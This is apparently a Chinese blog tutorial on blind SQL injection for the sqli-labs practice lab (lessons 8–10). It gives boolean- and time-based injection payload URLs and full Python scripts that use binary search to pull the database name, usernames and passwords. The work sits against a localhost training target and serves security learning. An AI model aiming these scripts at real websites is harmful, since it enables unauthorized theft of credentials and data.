LESS 8 基于布尔的盲注
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为好几种,本关采用基于布尔的盲注
盲注相关函数:
mid(column_name,start[,length])
1
2
3
4
5
6select mid(12345,2,3);
+----------------+
| mid(12345,2,3) |
+----------------+
| 234 |
+----------------+substr(string, start, length)/substring(string, start, length)
- 这两个函数的作用和mid函数是相同的
1
2
3
4
5
6select substr((select username from users limit 0,1),2);
+--------------------------------------------------+
| substr((select username from users limit 0,1),2) |
+--------------------------------------------------+
| umb |
+--------------------------------------------------+
- 这两个函数的作用和mid函数是相同的
- Left(string, n)
- 从左到右截取string的前n位
- ascii(string)
- 返回第一个字符的ascii码值
- ord(string)
- 若string第一个字符是单字节字符,则作用和ascii函数相同
- 若其为多字节,则返回如下格式:
((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code…]
- length(string)
- 返回字符串的长度
回到本关,先输入单引号和双引号进行测试,发现单引号没有返回信息,于是判断参数是被单引号包围,构造payload测试数据库名的第一个字符:
http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1))=1%23
无返回结果,对数据库名的每一个字符都作类似的测试,由于测试量较大,使用脚本来完成测试:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34from urllib import request
from urllib import parse
import re
url = "http://localhost/sqli-labs-master/Less-8/?id="
def length():
"查询数据库名的长度"
length = 0
while True:
#构造动态参数并用quote函数进行url编码
param = "1' and length(database())="+str(length)+"#"
response = request.urlopen(url + parse.quote(param)).read().decode()
#匹配成功代表长度正确
if (re.search("You are in...........", response)):
return length
#失败则加1继续循环
else:
length += 1
def database():
"查询数据库名"
dbname = ""
for n in range(length()):
#对128个ascii码值进行遍历并构造动态参数
for a in range(128):
param = "1' and ascii(substr(database()," + str(n+1) + "))=" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
dbname = dbname + chr(a)
break
return dbname
print(database())
输出结果为security
对于函数database()可以采用时间复杂度更低的二分法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21def database():
"查询数据库名"
dbname = ""
for n in range(length()):
a, b = 64, 64
#使用二分法构造动态参数
while True:
b = int(b/2)
param = "1' and ascii(substr(database()," + str(n+1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
a -= b
else:
param = "1' and ascii(substr(database()," + str(n+1) + "))=" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
dbname = dbname + chr(a)
break
else:
a += b
return dbname
速度噌的就提上去了,数据结构果然还是要学好
之后我对之前的脚本做了一些修改,使其支持参数化查询,最终的盲注脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45from urllib import request
from urllib import parse
import re
url = "http://localhost/sqli-labs-master/Less-8/?id="
def getLength(value):
"查询数据库名的长度"
length = 0
while True:
#构造动态参数并用quote函数进行url编码
param = "1' and length(" + value + ")="+str(length)+"#"
response = request.urlopen(url + parse.quote(param)).read().decode()
#匹配成功代表长度正确
if (re.search("You are in...........", response)):
return length
#失败则加1继续循环
else:
length += 1
def getName(value):
"查询数据库名"
dbname = ""
for n in range(getLength(value)):
a = 64
b = 64
#使用二分法构造动态参数
while True:
b = int(b/2)
param = "1' and ascii(substr(" + value + "," + str(n+1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
a -= b
else:
param = "1' and ascii(substr(" + value + "," + str(n+1) + "))=" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
dbname = dbname + chr(a)
break
else:
a += b
return dbname
print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))
输出如下,注入成功:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
LESS 9 基于时间的盲注
和上一关不同,第八关只要没有查询到就不会显示“You are in………..”,而本关只要id是有值的就会显示“You are in………..”,没有办法通过页面显示的结果来进行盲注,所以要用到一个特殊的函数sleep(),语法如下:1
sleep(seconds) #函数功能即执行延迟seconds秒
还要用到的一个函数1
if(condition, a, b) #如果condition成立,则返回a,否则返回b
举个栗子,在本关中构造这样一个payload:
http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(3),1)%23
在if函数中,因为1=1当然是成立的,所以执行sleep(3),所以你会看到网页内容大概在3s后才显示出来,如果表达式不成立,网页就会立即显示出来,而1=1的位置则可以放各种表达式
于是,把上一关的脚本稍微改一下就成了本关的盲注脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46from urllib import request
from urllib import parse
from time import time
url = "http://localhost/sqli-labs-master/Less-9/?id="
def getLength(value):
"查询value长度"
length = 0
while True:
#构造动态参数并用quote函数进行url编码
param = "1' and if(length("+value+")="+str(length)+",sleep(0.1),1)#"
t = time() #time函数获取当前时间戳
request.urlopen(url + parse.quote(param))
if (time() - t > 0.1): #时间间隔大于0.1代表长度正确
return length
else: #失败则加1继续循环
length += 1
def getName(value):
"查询value名"
dbname = ""
for n in range(getLength(value)):
a = 64
b = 64
#使用二分法构造动态参数
while True:
b = int(b/2)
param = "1' and if(ascii(substr("+value+","+str(n+1)+"))<"+str(a)+",sleep(0.1),1)#"
t = time()
request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
a -= b
else:
param = "1' and if(ascii(substr("+value+","+str(n+1)+"))="+str(a)+",sleep(0.1),1)#"
t = time()
request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
dbname = dbname + chr(a)
break
else:
a += b
return dbname
print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))
结果和上一关是一样的
LESS 10 基于时间的盲注(双引号)
题如其名,只要把上一关绕过用的单引号改成双引号就可以盲注成功,这一关源程序和上一关应该就只是单引号双引号的区别而已
脚本请参照第九关